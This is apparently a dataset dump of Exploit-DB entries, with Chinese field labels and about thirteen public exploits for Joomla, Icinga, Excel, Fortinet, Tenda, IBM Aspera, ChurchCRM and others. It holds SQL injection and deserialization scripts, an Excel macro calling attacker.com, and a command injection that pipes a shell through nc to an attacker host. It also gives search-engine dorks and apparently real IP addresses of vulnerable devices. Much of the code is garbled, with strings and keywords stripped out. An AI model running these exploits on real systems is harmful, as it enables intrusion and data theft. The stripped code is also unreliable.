QLWD/code_shield huggingface dataset:
标题: Joomla! v4.2.8 - Unauthenticated information disclosure EDB-ID: 51334 CVE: 2023-23752 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-08 漏洞利用脚本: #!/usr/bin/env ruby

# Exploit
## Title: Joomla! v4.2.8 - Unauthenticated information disclosure
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752
## Date: 2023-03-24
## Vendor Homepage: https://www.joomla.org/
## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
## Tested on: Joomla! Version 4.2.7










require 

require 
require 
require 

doc  DOCOPT
  

  
    
    

  
    url       Root URL base path including HTTP scheme port  root folder

  
    debug     Display arguments
    nocolor  Disable colorized output NO_COLOR environment variable  respected too
    h   Show this screen

  
    
    

  
    
    
    
DOCOPT

 root_url http
  vuln_url  
  httpgetvuln_url
end

 root_url http
  data_json  fetch_usersroot_url http
  data  JSONparsedata_json
  users  
  dataeach do user
     user  
        user
      name  user
      username  user
      email  user
      groups  user
      users    name name username username email email groups groups
    end
  end
  users
end

 root_url http
  users  parse_usersroot_url http
  puts Paint red bold
  userseach do u
    puts 
  end
end

 root_url http
  vuln_url  
  httpgetvuln_url
end

 root_url http
  data_json  fetch_configroot_url http
  data  JSONparsedata_json
  config  
  dataeach do entry
     entry  
      key  entrykeysfirst
      configkey  entrykey
    end
  end
  config
end

 root_url http
  c  parse_configroot_url http
  puts Paint red bold
  puts 
  puts 
  puts 
  puts 
  puts 
  puts
  puts Paint red bold
  puts 
  puts 
  puts 
  puts 
  puts 
  puts 
  puts 
end

begin
  args  Docoptdocoptdoc
  Paintmode    args
  puts args  args

  http  HTTPX
  display_usersargs http
  puts
  display_configargs http
rescue DocoptExit  e
  puts emessage
end URL: https://www.exploit-db.com/exploits/51334
标题: Icinga Web 2.10 - Arbitrary File Disclosure EDB-ID: 51329 CVE: 2022-24716 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-08 漏洞利用脚本: #!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Arbitrary File Disclosure
# Date: 2023-03-19
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24716
# Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

import argparse
import requests
from termcolor import colored

 message 
       
          colored      message
       
          colored      message
       
          colored      message
       
          colored      message
       
          colored      message

 url
     url  
        url  
     urllower    urllower  
        url    url
     url

 url
     urllower  
         
     

parser  argparseArgumentParserdescription
parseradd_argument  
                
parseradd_argument  
                
parseradd_argument 
                
args  parserparse_args

 argsproxy
    proxy_url  get_normalized_urlargsproxy
    proxy_protocol  get_proxy_protocolproxy_url
    proxies   proxy_protocol proxy_url 

    proxies  

base_url  get_normalized_urlargsTARGET
exploit_url  base_url    argsFILE

request  requestsgetbase_url proxiesproxies
 requeststatus_code  
 print_message 
 exit

request  requestsgetexploit_url proxiesproxies
file_content  requesttext

file_content URL: https://www.exploit-db.com/exploits/51329
标题: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) EDB-ID: 51328 CVE: 2023-23399 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-04-08 漏洞利用脚本: ## Exploit Title: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)
## Exploit Author: nu11secur1ty
## Date: 03.16.2023
## Vendor: https://www.microsoft.com/en-us/microsoft-365/excel
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://www.invicti.com/learn/remote-code-execution-rce/
## CVE ID: CVE-2023-23399

## Description:
The malicious user can exploit the victim's PC remotely.
For example, when the score indicates that the Attack Vector is Local
and User Interaction is Required, this could describe an exploit in
which an attacker, through social engineering, convinces a victim to
download and open a specially crafted file from a website which leads
to a local attack on their computer.

STATUS: HIGH Vulnerability

[+]Exploit0:
```
Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute
"microsoft-edge:https://attacker.com"
End Sub
```
[+]Exploit1:
```
Sub cmd()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "cmd.exe"
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-23399)

## Proof and Exploit:
[href](https://streamable.com/dnyfx0)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51328
标题: FortiRecorder 6.4.3 - Denial of Service EDB-ID: 51326 CVE: 2022-41333 类型: DOS 平台: HARDWARE 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: FortiRecorder 6.4.3 - Denial of Service
# Google Dork: N/A
# Date: 13/03/2023
# Exploit Author: Mohammed Adel
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/network-based-video-security/forticam-fortirecorder
# Version: 6.4.3 and below && 6.0.11 to 6.0.0
# Tested on: Kali Linux
# CVE : CVE-2022-41333
# Security Advisory: https://www.fortiguard.com/psirt/FG-IR-22-388
# Technical Analysis: https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5

import requests
import warnings
 sys
 urllibparse  unquote
warningsfilterwarnings message

 target req_type payload
    target
    
     payload
    post_url  target
    post_headers     
    url_decoder  unquotepayload
    full_payload  url_decoder
     
        r  requestspostpost_url headerspost_headers datafull_payload verify
           rtext
            
        
            
            rtext

 target req_type payload
    target
    
     payload
     
      url  targetpayload
      headers     
      r  requestsgeturl headersheaders verify
         rtext
          
      
          
          rtext



target  sysargv 
req_type  sysargv 
payload  sysargv 


   req_typelower
       targetlower    targetlower
        POSTtarget req_type payload
    
        
   req_typelower
       targetlower    targetlower
        GETtarget req_type payload URL: https://www.exploit-db.com/exploits/51326
标题: Wondershare Dr Fone 12.9.6 - Privilege Escalation EDB-ID: 51324 CVE: 2023-27010 类型: LOCAL 平台: WINDOWS 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: Wondershare Dr Fone 12.9.6 - Privilege Escalation
# Date: 14 March 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://drfone.wondershare.com
# Software Link: https://mega.nz/file/ZFd1TZIR#e2WfCX_ryaH08C3VNGZH1yAIG6DU01p-M_rDooq529I
# Version: Dr Fone version 12.9.6
# Tested on: Window 10 (10.0.19045.2604)
# CVE : CVE-2023-27010



*Vulnerability description*:

Wondershare Dr Fone version 12.9.6 running services named "WsDrvInst" on
Windows have weak service permissions and are susceptible to local
privilege escalation vulnerability. Weak service permissions run with
system user permission, allowing a standard user/domain user to elevate to
administrator privilege upon successfully modifying the service or
replacing the affected executable. DriverInstall.exe gave modification
permission to any authenticated users in the windows operating system,
allowing standard users to modify the service and leading to Privilege
Escalation.


C:\Users\NyaMeeEain\Desktop>cacls "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
C:\Program Files (x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe

Everyone:(ID)F

NT AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
C:\Users\NyaMeeEain\Desktop>sc qc WsDrvInst
SERVICE_NAME: WsDrvInst
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files
(x86)\Wondershare\drfone\Addins\Repair\DriverInstall.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem URL: https://www.exploit-db.com/exploits/51324
标题: Altenergy Power Control Software C1.2.5 - OS command injection EDB-ID: 51325 CVE: 2023-28343 类型: WEBAPPS 平台: HARDWARE 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title:  Altenergy Power Control Software C1.2.5 - OS command injection 
# Google Dork: intitle:"Altenergy Power Control Software"
# Date: 15/3/2023
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://apsystems.com/
# Version: C1.2.5
# Tested on: Windows 10
# CVE : CVE-2023-28343


import requests
import argparse

def exploit(target,attacker,port):
    url  f

    headers  
         
         
         'Mozilla Windows NT  Win64 x64
AppleWebKit KHTML like Gecko Chrome Safari'
         
         f
         f
         
         
         
    

    f
    data  
         f'`mknod tmppipe psh tmppipe  nc
attacker port tmppipe`'
    

    response  requestsposturl headersheaders datadata
    
 __name__  
    parser  argparseArgumentParserdescription'Parse target attacker
 port'

    parseradd_argument  'The target IP
address  hostname example  http'
    parseradd_argument  'The attacker IP
address  hostname'
    parseradd_argument  

    args  parserparse_args
    
        exploitargstargetargsattackerargsport
    
        parserprint_help URL: https://www.exploit-db.com/exploits/51325
标题: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing EDB-ID: 51317 CVE: 2020-35391 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-07 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing 
# Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN"
# Date: 09/03/2023
# Exploit Author: @h454nsec
# Github: https://github.com/H454NSec/CVE-2020-35391
# Vendor Homepage: https://www.tendacn.com/default.html
# Product Link: https://www.tendacn.com/product/f3.html
# Version: All
# Tested on: F3v3.0 Firmware (confirmed)
# CVE : CVE-2020-35391

import re
 os
 sys
 argparse
 base64
 requests
 subprocess

     mmh3
     codecs
 ImportError
    
    sysexit

Color_Off 
Black        
Red          
Green        
Yellow       
Blue         
Purple       
Cyan         
White        

 ip
       ip
        splited  ipsplit
           ip    ip
             f
        
             f
    
         f

 ip
    
        response  requestsgetf
        favicon  codecsencoderesponsecontent 
        favicon_hash  mmh3favicon
         favicon_hash  
             
         
     Exception  error
         

 data
    
         nosense_data  datasplit
               nosense_data
                encoded_password  nosense_datasplit
                
        password_bytes  base64b64decodeencoded_password
        password  password_bytesdecode
         password  
             password
         
     Exception  error
         

 db
     ip  db
        ip_address  ip_checkerip
        tenda  is_tendaip_address
        header  f end  tenda  f end
        
            output  subprocesscheck_outputf shell
            data  outputdecode
            password  password_decoderdata
             password
                  ospathisdir
                    osmkdir
                 f   o
                    owritedata
                 f   o
                    owritef
                f
            
                
         Exception  error
            

 __name__  
    parser  argparseArgumentParser
    parseradd_argument  default 
    parseradd_argument  
    args  parserparse_args
    db  
    ip_list  argslist_of_ip
     ip_list
         ip_list   fr
             data  frreadlines
                dbappenddatastrip
    
        dbappendargsip
    maindb URL: https://www.exploit-db.com/exploits/51317
标题: NotrinosERP 0.7 - Authenticated Blind SQL Injection EDB-ID: 51318 CVE: 2023-24788 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: NotrinosERP 0.7 - Authenticated Blind SQL Injection
# Date: 11-03-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-24788/CVE-2023-24788.md
# Software Link: https://github.com/notrinos/NotrinosERP/releases/tag/0.7
# Vendor Homepage: https://notrinos.com/
# Version: 0.7
# Tested on: Windows, Linux
# CVE: CVE-2023-24788

"""
The endpoint /sales/customer_delivery.php is vulnerable to Authenticated Blind SQL Injection (Time-based) via the GET parameter OrderNumber. 
This endpoint can be triggered through the following menu: Sales - Sales Order Entry - Place Order - Make Delivery Against This Order.
The OrderNumber parameter require a valid orderNumber value.

This script is created as Proof of Concept to retrieve database name and version through the Blind SQL Injection that discovered on the application.
"""


 sys requests

 target inj_str session_cookies    
     j   
        url    target inj_strreplace j
        headers  session_cookies              
        r  requestsgeturl headersheaders
        res  rtext
           res
            session_cookies  logintarget username password
            headers  session_cookies
            r  requestsgeturl headersheaders
         relapsedtotal_seconds    
             j
     

 target username password
    target    target
    headers   
    data    username password
    s  requestssession
    r  sposttarget data  data headers  headers
     scookiesget
    
 session_cookies   
    db_name  
    
     i   
        injection_str    i
        retrieved_value  injectiontarget injection_str session_cookies
         retrieved_value
            db_name  retrieved_value            
        
            
    db_name 

 session_cookies
    db_version  
    
     i   
        injection_str    i
        retrieved_value  injectiontarget injection_str session_cookies
         retrieved_value
            db_version  retrieved_value
            sysstdoutflush
        
            
    db_version

 
    
    session_cookies  logintarget username password   
    
    
    retrieveDBNamesession_cookies
    
    retrieveDBVersionsession_cookies
    
 __name__  
     sysargv  
        
        
        sysexit

    target  sysargv
    username  sysargv
    password  sysargv
    
    main URL: https://www.exploit-db.com/exploits/51318
标题: IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE) EDB-ID: 51316 CVE: 2022-47986 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE)
# Date: 02/02/2023
# Exploit Author: Maurice Lambert <mauricelambert434@gmail.com>
# Vendor Homepage: https://www.ibm.com/
# Software Link: https://www.ibm.com/docs/en/aspera-faspex/5.0?topic=welcome-faspex
# Version: 4.4.1
# Tested on: Linux
# CVE : CVE-2022-47986

"""
This file implements a POC for CVE-2022-47986
an YAML deserialization that causes a RCE in
IBM Aspera Faspex (before 4.4.2).
"""

__version__  
__author__  
__author_email__  
__maintainer__  
__maintainer_email__  
__description__  
license  
__url__  

copyright  
__license__  license
__copyright__  copyright

__all__  

copyright

 urllibrequest  urlopen Request
 sys  argv exit stderr stdout
 shutil  copyfileobj
 json  dumps

   

     argv  
         argv  stderr
         
    
    copyfileobj
        urlopen
            Request
                argv  
                method
                datadumps
                     
                        
                    
                     f
                     
                     
                     
                     
                     
                     
                     
                     
                     
                     
                     
                     
                     
                encode
            
        
        stdout
    

     


 __name__  
    exitmain URL: https://www.exploit-db.com/exploits/51316
标题: ChurchCRM 4.5.1 - Authenticated SQL Injection EDB-ID: 51319 CVE: 2023-24787 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: ChurchCRM 4.5.1 - Authenticated SQL Injection
# Date: 11-03-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-24787/CVE-2023-24787.md
# Software Link: https://github.com/ChurchCRM/CRM/releases
# Vendor Homepage: http://churchcrm.io/
# Version: 4.5.1
# Tested on: Windows, Linux
# CVE: CVE-2023-24787

"""
The endpoint /EventAttendance.php is vulnerable to Authenticated SQL Injection (Union-based and Blind-based) via the Event GET parameter.
This endpoint can be triggered through the following menu: Events - Event Attendance Reports - Church Service/Sunday School. 
The Event Parameter is taken directly from the query string and passed into the SQL query without any sanitization or input escaping.
This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.

This script is created as Proof of Concept to retrieve the username and password hash from user_usr table.
"""


 sys requests

 target session_cookies    
    
    
    url    target
    headers  session_cookies              
    r  requestsgeturl headersheaders
    lines  rtextsplitlines
    
     line  lines 
           line
            linesplitsplit
    
 target username password
    target    target
    headers   
    data    username password
    s  requestssession
    r  sposttarget data  data headers  headers
     scookiesget

 
    
    session_cookies  logintarget username password       
    
    
    dumpUserTabletarget session_cookies

    
 __name__  
     sysargv  
        
        
        sysexit

    target  sysargv
    username  sysargv
    password  sysargv
    
    main URL: https://www.exploit-db.com/exploits/51319
标题: MAC 1200R - Directory Traversal EDB-ID: 51315 CVE: 2021-27825 类型: WEBAPPS 平台: HARDWARE 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: MAC 1200R - Directory Traversal
# Google Dork: "MAC1200R" && port="8888"
# Date: 2023/03/09
# Exploit Author: Chunlei Shang, Jiangsu Public Information Co., Ltd.
# Vendor Homepage: https://www.mercurycom.com.cn/
# Software Link: https://www.mercurycom.com.cn/product-1-1.html
# Version: all versions. (REQUIRED)
# Tested on: all versions.
# CVE : CVE-2021-27825

1. Attackers can easily find the targets through various search engines with keywords "MAC1200R" && port="8888". 
2. Open the affected website like "http://IP:8888/web-static/".
3. For example:
1）http://60.251.151.2:8888/web-static/
    
2）http://222.215.15.70:8888/web-static/ URL: https://www.exploit-db.com/exploits/51315
标题: Docker based datastores for IBM Instana 241-2 243-0 - No Authentication EDB-ID: 51314 CVE: 2023-27290 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-04-07 漏洞利用脚本: # Exploit Title: Docker based datastores for IBM Instana 241-2 243-0 - No Authentication 
# Google Dork: [if applicable]
# Date: 06 March 2023
# Exploit Author: Shahid Parvez (zippon)
# Vendor Homepage: https://www.instana.com/trial/ *and* https://www.ibm.com/docs/en/instana-observability
# Software Link: https://www.ibm.com/docs/en/instana-observability/current?topic=premises-operations-docker-based-instana
# Version: [Vulnerable version : 239-0 to 239-2 241-0 to 241-2 243-0] (REQUIRED Version : 241-3)
# Tested on: [Mac os]
# CVE : CVE-2023-27290
import argparse
import subprocess
 pexpect


COMMANDS  
     
     
     
     
     
     
     
     
     



parser  argparseArgumentParserdescription
parseradd_argument 
parseradd_argument choicesCOMMANDSkeys 
parseradd_argument  default 
parseradd_argument 
parseradd_argument action 


args  parserparse_args


 argsport  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  
     argsoption  
        port  

    port  argsport


command  COMMANDSargsoptionhostargshost portport


 argsverbose
    f


 argsoption  
    child  pexpectspawncommand
    childexpect timeout
    childinteract
    output  childbefore
 argsoption  
    child  pexpectspawncommand
    childexpect timeout
    childinteract
    output  childbefore


    output  subprocesscheck_outputcommand shell


 argsoutput
     argsoutput   f
        fwriteoutput


outputdecode URL: https://www.exploit-db.com/exploits/51314
标题: WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE EDB-ID: 51311 CVE: 2023-27826 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-06 漏洞利用脚本: # Exploit Title: WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE
# Vulnerability Name: Ballin' Mada
# Date: 4/3/2023
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.seowonintech.co.kr/eng/main
# Version: Bootloader(1.18.19.0) , HW (0.0.7.0), FW(1.11.0.1 : 1.9.9.4)
# Tested on: Unix
# CVE : Under registration

import requests
import random,argparse
import sys
from colorama import Fore
 bs4  BeautifulSoup

red  ForeRED
green  ForeGREEN
cyan  ForeCYAN
yellow  ForeYELLOW
reset  ForeRESET

argParser  argparseArgumentParser
argParseradd_argument  
argParseradd_argument   action
argParseradd_argument   action

args  argParserparse_args
target  argstarget
rev  argsreverseShell
testX  argstestExploit


banner  
 
    cyan    reset
    art   
    request  requestsgeturl  frandomchoiceart proxies
     requeststatus_code  
        green    reset
        soup  BeautifulSouprequesttext  
         soupget_textfind    soupget_textfind
            green    reset
            uname  requestsgeturl  f
            soup_validate  BeautifulSoupunametext 
            soup_validatefindtext
        
            red    reset
    
        red    requeststatus_code  reset


 
    cmd  
     cmd
        
            cmd
            uname  requestsgeturl  f
            resp  BeautifulSoupunametext 
            respfindtext
             cmd    cmd  
                yellow    reset
                sysexit
            
                 revShell
         KeyboardInterrupt
            sysexit

 
    
    
    
    
 target  rev
    banner
    revShell
 target  testX
    banner
    checkEXP

    banner
    argParserprint_help URL: https://www.exploit-db.com/exploits/51311